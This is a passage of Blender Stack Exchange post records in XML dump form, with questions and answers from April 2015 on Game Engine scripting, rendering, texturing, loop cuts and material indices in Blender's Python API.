comparison:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ktZWI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-04-17T11:29:49.783" LastActivityDate="2015-04-17T11:29:49.783" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28579" PostTypeId="1" CreationDate="2015-04-17T03:15:48.680" Score="4" ViewCount="159" Body="&lt;p&gt;I have a script that I borrowed from the companion files that came with the book, Game Development With Blender (it's a creative commons script).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Blender Game Engine 2.55 Simple Camera Look&#xA;#Created by Mike Pan: mikepan.com&#xA;&#xA;from bge import logic as G&#xA;from bge import render as R&#xA;from bge import events&#xA;&#xA;speed = 0.2             # walk speed&#xA;sensitivity = 1.0       # mouse sensitivity&#xA;&#xA;owner = G.getCurrentController().owner&#xA;&#xA;# center mouse on first frame, create temp variables&#xA;if &quot;oldX&quot; not in owner:&#xA;    G.mouse.position = (0.5,0.5)&#xA;    owner[&quot;oldX&quot;] = 0.0&#xA;    owner[&quot;oldY&quot;] = 0.0&#xA;&#xA;else:&#xA;    # round() is a hack to work around the floating mouse bug&#xA;    x= round(0.5 - G.mouse.position[0], 2)&#xA;    y = round(0.5 - G.mouse.position[1],2)&#xA;&#xA;    x *= sensitivity&#xA;    y *= sensitivity&#xA;&#xA;    # Smooth movement&#xA;    owner['oldX'] = (owner['oldX']*0.9 + x*0.1)&#xA;    owner['oldY'] = (owner['oldY']*0.9 + y*0.1)&#xA;    x = owner['oldX']&#xA;    y = owner['oldY']&#xA;&#xA;    # set the values&#xA;    owner.applyRotation([0, 0, x], False)&#xA;    owner.applyRotation([y, 0, 0], True)&#xA;&#xA;    # Center mouse in game window&#xA;    G.mouse.position = (0.5,0.5)    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside blender it works just fine, but when using the blender player stand alone, the mouse has to be moved a lot more than normal and the whole thing is a lot less smooth.  What would cause this to happen, and yow can it be fixed?&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-04-17T03:15:48.680" Title="Differences between the internal and blender players" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28580" PostTypeId="1" CreationDate="2015-04-17T04:31:38.323" Score="1" ViewCount="1058" Body="&lt;p&gt;I've created the animations, and everything is working except when I press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;W&lt;/kbd&gt; to sprint. My character plays the animation, after I release keys and play something else like walk it also works, but after that it stops working, and none of the animations will play besides the Idle animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rtpEW.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13816" LastEditorUserId="6204" LastEditDate="2015-04-17T11:19:54.927" LastActivityDate="2016-09-11T18:19:50.057" Title="Game Engine animations not working?" Tags="&lt;python&gt;&lt;animation&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28582" PostTypeId="1" CreationDate="2015-04-17T08:37:22.113" Score="4" ViewCount="1209" Body="&lt;p&gt;I have a scene with a cube inside an icosphere. the cube in the middle is my viewpoint object and i want to render a cube environment map. my environment is the textured inside of the icosphere and some other objects inside the icosphere. now my question is how can i achieve getting a blur effect on any of my objects inside the icosphere? if i put the objects i want blurred in another render layer and set up notes (blur) for it, it doesnt render the effects when i create the environment map.&#xA;is there any solution for me?&lt;/p&gt;&#xA;" OwnerUserId="13818" LastActivityDate="2015-04-17T10:48:28.230" Title="Render Environment Map with Blur Effect" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28583" PostTypeId="2" ParentId="28582" CreationDate="2015-04-17T09:49:42.660" Score="0" Body="&lt;p&gt;You can use material indexes:&#xA;select all materials - one by one - wich you want to blur and assign them a &quot;1&quot; index, all the rest can remain  with the default &quot;0&quot; index.&#xA;If a material is shared between obiects, create a copy.&#xA;You can reach material index in the material proprieties: Blender Internal - option - pass index; Cycles - settings - pass index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your single render layer check the &quot;material index&quot; button under &quot;pass&quot; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can use this simple node setup in the compositor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9zy7Z.png&quot; alt=&quot;Single layer - blur differences by material index&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working with object indexes is quite similar, of course.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2015-04-17T09:58:23.573" LastActivityDate="2015-04-17T09:58:23.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28584" PostTypeId="2" ParentId="28582" CreationDate="2015-04-17T10:48:28.230" Score="3" Body="&lt;p&gt;&lt;strong&gt;If your environment texture on the icosphere is unblurred:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render everything into 1 equirectangular environment map. Blur it in your favourite 2d app (it is seamless so tile it before blurring) or inside cycles nodes with noising the mapping inputs with &lt;a href=&quot;https://blender.stackexchange.com/questions/9394/how-to-blur-a-texture-node-in-cycles-material&quot;&gt;b-wide node pack&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then render this blurred environment into the cube map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If your environment texture on the icosphere is already blurred:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render the objects inside the icosphere only. Lit them with the environment texture but exclude the icosphere to not reflect on the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blur this equirectangular inside 2d app to match blur of the enviro and merge them into 1 environment (you will need an alpha channel for this also).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then render a cube map from this blurred enviro.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-04-17T10:48:28.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28585" PostTypeId="1" AcceptedAnswerId="28600" CreationDate="2015-04-17T11:24:37.590" Score="3" ViewCount="719" Body="&lt;p&gt;I have a school project for which I need to make a small movie in Blender. All the animations are fine, but the moment my camera gets into the airduct I made, the preview gets all dark and blurry. I tried to set the FOV but it didn't work.&#xA;In the room before the camera works fine. I also added quite a handful of lights so I don't think it might be the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway here is the render preview. There is a point light just above the cube.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/65prx.jpg&quot; alt=&quot;Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FAeuo.jpg&quot; alt=&quot;FoV Fixed&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13821" LastEditorUserId="13826" LastEditDate="2015-04-17T14:45:10.927" LastActivityDate="2015-04-17T14:55:47.207" Title="Camera renders blurry image in darker part of scene" Tags="&lt;cycles-render-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="28586" PostTypeId="1" AcceptedAnswerId="28587" CreationDate="2015-04-17T11:57:22.490" Score="5" ViewCount="7883" Body="&lt;p&gt;I know you can add a loop cut using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, but I want to know how to specify &lt;strong&gt;how many&lt;/strong&gt; to add, i.e. add 15 loop cuts to a plane. I know you can manually use the scroll wheel to get this number, however this can be quite tedious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://blender.stackexchange.com/questions/7299/increase-number-of-loop-cuts-apple-magic-mouse&quot;&gt;Increase number of Loop Cuts - Apple Magic Mouse&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-04-18T07:33:17.110" Title="How do I add a specific number of loop cuts?" Tags="&lt;modeling&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28587" PostTypeId="2" ParentId="28586" CreationDate="2015-04-17T11:57:22.490" Score="7" Body="&lt;p&gt;You can do this simply by typing the desired number (1 then 5) &lt;strong&gt;after&lt;/strong&gt; pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; and &lt;strong&gt;before&lt;/strong&gt; left-clicking to complete the operation.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-17T11:57:22.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28588" PostTypeId="2" ParentId="28478" CreationDate="2015-04-17T12:15:58.210" Score="1" Body="&lt;p&gt;I've found the solution. To align to edge direction, you can use the script in this link: &lt;a href=&quot;https://blender.stackexchange.com/questions/19533/align-object-to-vector-using-python&quot;&gt;Align Object to Vector using python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for the vector you must use &lt;code&gt;Vector = Vector2 - Vector1&lt;/code&gt; where the Vector1 e Vector2 are the coordinates in vector of the verts of the edge.&lt;/p&gt;&#xA;" OwnerUserId="6052" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-04-17T12:23:47.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28589" PostTypeId="1" AcceptedAnswerId="28591" CreationDate="2015-04-17T12:37:24.447" Score="4" ViewCount="2604" Body="&lt;p&gt;If you check the docs for the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.MeshTessFace.html#bpy.types.MeshTessFace&quot; rel=&quot;nofollow&quot;&gt;Mesh(ID)&lt;/a&gt; type, you going to see something like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;class bpy.types.MeshTessFace(bpy_struct)&#xA;  TessFace in a Mesh datablock&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;material_index Type:  int&#xA;  in [0, 32767], default 0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My question is: &lt;code&gt;material_index&lt;/code&gt; is an index into what? I am desperately looking for a scene-wide collections of materials, but I can't find it.&lt;/p&gt;&#xA;" OwnerUserId="1770" LastActivityDate="2015-04-19T05:37:58.437" Title="Mesh's material_index is an index into what?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28590" PostTypeId="1" AcceptedAnswerId="28597" CreationDate="2015-04-17T12:58:47.097" Score="4" ViewCount="473" Body="&lt;p&gt;I'm trying to adjust a volumetric texture on a torus object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some details on this object:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The material is a volume whose density is driven by a texture.&lt;/li&gt;&#xA;&lt;li&gt;This texture is a procedural one such as marble/musgrave.&lt;/li&gt;&#xA;&lt;li&gt;This texture is mapped on the object (the torus) with a tube projection.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My problem is that I whish to position and stretch this texture &lt;strong&gt;tangentially&lt;/strong&gt; around the torus and I didn't manage to get this result. I tried many settings and I didn't succeed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some results I obtained : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y6Jik.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kjE3J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And nearly what I would like : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mLEqT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that in a tube projection, the &lt;strong&gt;y coordinate&lt;/strong&gt; was the &lt;strong&gt;angle of rotation&lt;/strong&gt; but I think I didn't undertand how Blender projection system is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to change the projection system to &lt;strong&gt;sphere&lt;/strong&gt; and the mapping coordinates to &lt;strong&gt;global&lt;/strong&gt; but it didn't work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SexYI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Have you ever succed to apply a texture &lt;strong&gt;tangentially&lt;/strong&gt; (or &lt;strong&gt;radially&lt;/strong&gt;) on any object ?&lt;/li&gt;&#xA;&lt;li&gt;Do you have some hints/explanations on the blender projection system (especially tube and spheric projection) ?&lt;/li&gt;&#xA;&lt;li&gt;Do you know other ways to do that ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13523" LastActivityDate="2015-04-17T14:18:27.347" Title="Apply a volumetric texture tangentially on a torus" Tags="&lt;texturing&gt;&lt;coordinates&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28591" PostTypeId="2" ParentId="28589" CreationDate="2015-04-17T13:06:34.027" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I am desperately looking for a scene-wide collections of materials, but I can't find it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You want scene-wide materials?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.data.materials[:]&#xA;[bpy.data.materials['Material'], bpy.data.materials['Material.001']]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this shows the materials for one object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.data.objects['Circle'].material_slots[:]&#xA;[bpy.data.objects['Circle'].material_slots[0], bpy.data.objects['Circle'].material_slots[1]]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; [m.name for m in bpy.data.objects['Circle'].material_slots[:]]&#xA;['Material.001', 'Material.002']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For completeness then&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;bpy.data.materials indices&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For sake of argument I have a scene with 4 materials&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.data.materials[:]&#xA;[bpy.data.materials['MAT A'], bpy.data.materials['MAT B'], bpy.data.materials['MAT C'], bpy.data.materials['MAT D']]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We don't often need to get the material index in the materials collection, because we can use the name (a string) directly to get the reference.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; my_material = bpy.data.materials['MAT D']&#xA;&amp;gt;&amp;gt;&amp;gt; my_material.name&#xA;'MAT D'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you really wanted to find the index of 'MAT A' in &lt;code&gt;.data.materials&lt;/code&gt;, you could do a &lt;code&gt;.find()&lt;/code&gt; because material names are always unique.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.data.materials.find('MAT A')&#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;data.materials&lt;/code&gt; is an indexed collection.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.data.materials[0]&#xA;bpy.data.materials['MAT A']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;material slot indices&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;material_slots&lt;/code&gt; indices refer to the order in which your materials appear in the object's 'material stack'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/94Zss.png&quot; alt=&quot;IMAGE&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; obj = bpy.data.objects['Icosphere']&#xA;&amp;gt;&amp;gt;&amp;gt; obj.material_slots[:]&#xA;[bpy.data.objects['Icosphere'].material_slots[0], bpy.data.objects['Icosphere'].material_slots[1]]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want a direct reference to the material in a slot:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; obj.material_slots[:][0].material&#xA;bpy.data.materials['MAT A']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No need to get the name first, but if you wanted to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; obj.material_slots[:][0].name&#xA;'MAT A'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the &lt;code&gt;material_index&lt;/code&gt; is 1, and the object references two materials  (MAT D and MAT C), then 1 refers to MAT C and globally MAT C is index 2. It may be a point of some confusion that the term index is used to talk about the location of an item in two different types of collections.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Different Materials assigned to different faces (directly on mesh)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.data.meshes['Icosphere.001'].polygons[42].material_index&#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this zero refers to the material slot index.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; ico_mesh = bpy.data.meshes['Icosphere.001']&#xA;&amp;gt;&amp;gt;&amp;gt; idx = ico_mesh.polygons[12].material_index&#xA;&amp;gt;&amp;gt;&amp;gt; ico_mesh.materials[idx]   # get the reference&#xA;bpy.data.materials['MAT D']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-19T05:37:58.437" LastActivityDate="2015-04-19T05:37:58.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28592" PostTypeId="2" ParentId="28589" CreationDate="2015-04-17T13:06:49.477" Score="2" Body="&lt;p&gt;An object can have multiple material slots. This points to the index of which material from the stack is assigned to the face.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-17T13:06:49.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28594" PostTypeId="1" AcceptedAnswerId="28639" CreationDate="2015-04-17T13:32:01.603" Score="4" ViewCount="765" Body="&lt;p&gt;In Blender2.74, I want to circle-select the vertices in the &quot;3D View&quot;, using this: &lt;code&gt;circle_select(x = 300, y = 400, radius = 30)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GQbcd.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://blender.stackexchange.com/questions/882/how-to-find-image-coordinates-of-the-rendered-vertex&quot;&gt;this question&lt;/a&gt;. So I know how to get the xy positions in the camera coordinate system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I don't know how to use the API &quot;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.ops.view3d.html?highlight=select_circle#bpy.ops.view3d.select_circle&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.ops.view3d.select_circle()&lt;/a&gt;&quot;. &#xA;When I used the command in python console, the following error occured.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.view3d.select_circle(x=500, y=500, radius=10)&#xA;Traceback (most recent call last):&#xA;File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;File &quot;C:\Program Files\Blender Foundation\Blender\2.74\scripts\modules\bpy\ops.py&quot;, &#xA;line 189, in __call__&#xA;ret = op_call(self.idname_py(), None, kw)&#xA;RuntimeError: Operator bpy.ops.view3d.select_circle.poll() expected a view3d region&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I use this API in the &quot;Python Console?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, I will probably have to convert the xy positions in the camera-cood to those in the &quot;3D View&quot;. Please teach me this also.&lt;/p&gt;&#xA;" OwnerUserId="13744" LastEditorUserId="32220" LastEditDate="2019-01-17T23:19:19.533" LastActivityDate="2019-01-17T23:19:19.533" Title="Blender scripting: Circle Selectiong in the &quot;3D View&quot;" Tags="&lt;python&gt;&lt;scripting&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28595" PostTypeId="1" CreationDate="2015-04-17T13:49:50.400" Score="3" ViewCount="409" Body="&lt;p&gt;I've prepared a video in Blender, but every time I render I get only the audio and I don't know why, how could I solve?&#xA;I'm using a Mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MpICB.png&quot; alt=&quot;Output&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/R14HX.png&quot; alt=&quot;VSE&quot;&gt;&#xA;While  rendering, what does No layers in render result mean?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/z18VT.png&quot; alt=&quot;while rendering&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GtdY1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3053" LastEditorUserId="3053" LastEditDate="2015-04-17T18:14:05.243" LastActivityDate="2015-06-22T02:53:48.407" Title="Render without video in video editing" Tags="&lt;rendering&gt;&lt;video&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28596" PostTypeId="1" CreationDate="2015-04-17T14:09:10.723" Score="4" ViewCount="8614" Body="&lt;p&gt;I would like to bake just the texture colors while using cycles. In blender internal I would pick &quot;Textures&quot; as bake type to accomplish this, but no such option is available in cycles. According to the documentation it seems the 'UV' bake type should do this but instead it seem to bake the uv coordinates or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I would like to clarify the use case. I have a game level that we normally bake with lots of lights using cycles which takes the order of 10 hours with lots of complex materials. We can also lower the samples / bounces settings to get a quicker, noisier result. But, we would also like to render just the the unlit texture colors to get a super fast, noiseless, flat version to see what textures will look like in the level. This is useful when we iterate the source textures frequently and the designers prefer this over the noisy version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So ideally I would like to modify the materials as little as possible (not at all). It is certainly an option to have a script in our plugin modify them automatically, making the materials shadeless as suggested below, but that would turn the whole thing very complex which I would like to avoid.&lt;/p&gt;&#xA;" OwnerUserId="13825" LastEditorUserId="13825" LastEditDate="2015-04-17T19:25:48.877" LastActivityDate="2020-10-20T14:02:32.387" Title="How do I bake flat textures using cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28597" PostTypeId="2" ParentId="28590" CreationDate="2015-04-17T14:18:27.347" Score="5" Body="&lt;p&gt;I was able to get a radial result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pwCjG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key is to use a 'Blend' type texture (instead of marble) as this has the option to do radial mapping:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/05Arb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a custom ramp for the black and white bars (set to 'constant' blending), a radial blend and default mapping settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other setting which has to be enabled is 'RGB to intensity':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1bFZG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the default volume settings for the material, apart from 'Density' which is 0.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-04-17T14:18:27.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28599" PostTypeId="1" CreationDate="2015-04-17T14:49:26.600" Score="0" ViewCount="1037" Body="&lt;p&gt;I am trying to export an animation from Blender to a program using Three.js. The animation is  a boolean modifier. I don't know how export it from Blender correctly and after how to insert it in my three js program. I want to export it using the collada format because the .json three js export, doesn't work well, in my program.&lt;/p&gt;&#xA;" OwnerUserId="13827" LastEditorUserId="2217" LastEditDate="2015-04-17T22:37:26.740" LastActivityDate="2015-04-17T22:37:26.740" Title="Export animation from blender to a threes.js program" Tags="&lt;export&gt;&lt;three.js&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-05-04T13:39:05.337" ContentLicense="CC BY-SA 3.0" />
  <row Id="28600" PostTypeId="2" ParentId="28585" CreationDate="2015-04-17T14:55:47.207" Score="4" Body="&lt;p&gt;It seems that your focus point for the camera is attatched to some other object in the scene, so that when you get into the air duct, it is all blurry. There are several ways to fix this, the best one is to add an empty (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Empty &gt; Plain Axis&lt;/em&gt;). Name it Camera Focus or something descriptive so you can find it easily later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select the camera and go to &lt;em&gt;Camera Settings &gt; Depth of Field&lt;/em&gt; and select your empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W1DHh.gif&quot; alt=&quot;Add camera focus example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now animate the position of the empty, and the camera will automatically focus on that point, so you can have it positioned near where you want to focus while it is still in the room, and then animate it to move into the air duct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your preview image is still pixelated like that, try rendering at a higher sample count. &lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-17T14:55:47.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28601" PostTypeId="2" ParentId="28586" CreationDate="2015-04-17T14:58:08.280" Score="7" Body="&lt;p&gt;And for the sake of completeness:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the controls on the toolbar (&lt;kbd&gt;T&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/avXoY.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or using &lt;kbd&gt;F6&lt;/kbd&gt; will bring a pop-up window with the tool's options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b2aLI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-04-18T07:33:17.110" LastActivityDate="2015-04-18T07:33:17.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
